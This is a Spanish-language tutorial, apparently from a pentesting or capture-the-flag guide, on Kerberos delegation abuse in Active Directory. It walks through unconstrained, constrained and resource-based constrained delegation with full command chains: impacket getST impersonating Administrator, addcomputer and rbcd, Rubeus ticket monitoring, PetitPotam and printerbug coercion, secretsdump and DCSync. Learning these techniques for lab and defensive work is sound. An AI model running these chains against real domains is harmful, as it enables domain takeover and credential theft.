Delegación Kerberos: unconstrained, constrained y RBCD explicadas y explotadas
Los tres tipos de delegación Kerberos en AD, cómo encontrarlos y cómo abusar de cada uno con getST, rbcd.py y addcomputer para suplantar al administrador.
La delegación existe para un caso legítimo: una web que, al consultar una base de datos, necesita hacerlo en nombre del usuario que la visita. Kerberos lo permite de tres formas, y las tres se pueden abusar para suplantar a cualquier usuario (incluido el administrador) ante un servicio concreto. Es la técnica de delegación Kerberos, con máquinas como Support, Intelligence o Rebound.
Encontrarla
impacket-findDelegation corp.local/usuario:'Contraseña1' -dc-ip 10.10.10.10
AccountName AccountType DelegationType DelegationRightsTo
----------- ----------- ---------------------------------- ------------------------
WEB01$ Computer Unconstrained N/A
svc_sql Person Constrained w/ Protocol Transition cifs/dc01.corp.local
FS01$ Computer Resource-Based Constrained WEB01$
En BloodHound aparecen como AllowedToDelegate, AllowedToAct y la propiedad Unconstrained Delegation del equipo. Y la arista GenericWrite/GenericAll sobre un equipo casi siempre significa RBCD.
1. Constrained delegation (delegación restringida)
La cuenta tiene una lista de servicios (msDS-AllowedToDelegateTo) ante los que puede hacerse pasar por cualquier usuario. Si controlas esa cuenta (su contraseña o su hash), pide un ticket como administrador para uno de esos servicios:
impacket-getST -spn cifs/dc01.corp.local -impersonate Administrator corp.local/svc_sql:'Contraseña1' -dc-ip 10.10.10.10
export KRB5CCNAME=Administrator@[email protected]
impacket-psexec -k -no-pass dc01.corp.local
Truco
El nombre del servicio del ticket no está protegido. Un ticket para cifs/dc01 vale también para host/dc01, http/dc01 o ldap/dc01: usa -altservice ldap en getST y podrás hacer DCSync en lugar de solo leer ficheros.
Si es sin protocol transition (solo "Kerberos only"), necesitas un ticket del usuario a suplantar que ya haya pasado por la cuenta, o combinarlo con RBCD; en el catálogo es menos frecuente.
En Intelligence, la cuenta con delegación es una gMSA cuya contraseña puedes leer (mira gMSA y la guía de abuso de ACLs).
2. Resource-Based Constrained Delegation (RBCD)
Aquí la lista va al revés: es el equipo de destino quien dice qué cuentas pueden delegar hacia él, en su atributo msDS-AllowedToActOnBehalfOfOtherIdentity. Si puedes escribir en ese atributo (con GenericWrite, GenericAll o WriteProperty sobre el equipo), te das permiso a ti mismo.
Necesitas una cuenta con SPN: lo normal es crear un equipo, porque cualquier usuario puede crear hasta 10 (MachineAccountQuota).
# 1. Crea un equipo que controlas
impacket-addcomputer corp.local/usuario:'Contraseña1' -computer-name 'PWN$' -computer-pass 'Pwn123!' -dc-ip 10.10.10.10
# 2. Dile al objetivo que confíe en él
impacket-rbcd -delegate-from 'PWN$' -delegate-to 'DC01$' -action write corp.local/usuario:'Contraseña1' -dc-ip 10.10.10.10
# 3. Pide un ticket como administrador para el objetivo
impacket-getST -spn cifs/dc01.corp.local -impersonate Administrator corp.local/'PWN$':'Pwn123!' -dc-ip 10.10.10.10
# 4. Úsalo
export KRB5CCNAME=Administrator@[email protected]
impacket-secretsdump -k -no-pass dc01.corp.local
Es exactamente la cadena de Support: un grupo con GenericAll sobre el DC. Comprueba antes la cuota:
nxc ldap 10.10.10.10 -u usuario -p 'Contraseña1' -M maq
Si la cuota es 0, necesitas otra cuenta con SPN que ya controles (una cuenta de servicio o un equipo comprometido), o la variante con un usuario sin SPN (SPN-less RBCD), que es más delicada porque inutiliza la contraseña de ese usuario.
3. Unconstrained delegation (delegación sin restricciones)
El equipo con esta opción recibe una copia del TGT de cada usuario que se autentica en él, y la guarda en memoria. Si eres administrador en ese equipo y consigues que el DC se autentique contra él, tienes el TGT del DC: DCSync.
# En el equipo con delegación, como administrador: espera TGT nuevos
.\Rubeus.exe monitor /interval:5 /filteruser:DC01$ /nowrap
# Desde tu equipo, fuerza al DC a conectarse al equipo con delegación
python3 PetitPotam.py -u usuario -p 'Contraseña1' -d corp.local web01.corp.local dc01.corp.local
# o con el Spooler: python3 printerbug.py corp.local/usuario:'Contraseña1'@dc01.corp.local web01.corp.local
Rubeus te dará el TGT de DC01$ en base64; impórtalo (Rubeus.exe ptt /ticket:...) y haz DCSync con Mimikatz, o conviértelo a .ccache (impacket-ticketConverter) y usa secretsdump -k. La forma de forzar la autenticación está en la guía de NTLM relay y coerción.
Nota
Hay una variante desde Linux con krbrelayx: si controlas una cuenta con delegación sin restricciones (y puedes añadir un registro DNS), no necesitas una shell en ese equipo.
Errores típicos
KDC_ERR_BADOPTIONengetST: el usuario a suplantar está en Protected Users o marcado como "sensible y no se puede delegar". Prueba con otro administrador.KDC_ERR_S_PRINCIPAL_UNKNOWN: el SPN está mal escrito o le falta el FQDN. Usacifs/dc01.corp.local, nocifs/10.10.10.10.- El ticket funciona en
getSTperopsexecfalla: usa el nombre (dc01.corp.local) y no la IP, porque Kerberos va por nombre. Comprueba que el nombre resuelve (/etc/hosts). KRB_AP_ERR_SKEW: la hora.
Y después
Con un ticket de administrador del DC, vuelca el dominio (DCSync). Para limpiar en un ejercicio real: impacket-rbcd ... -action flush y borra el equipo que creaste. La chuleta de Active Directory tiene las variantes con Rubeus desde Windows.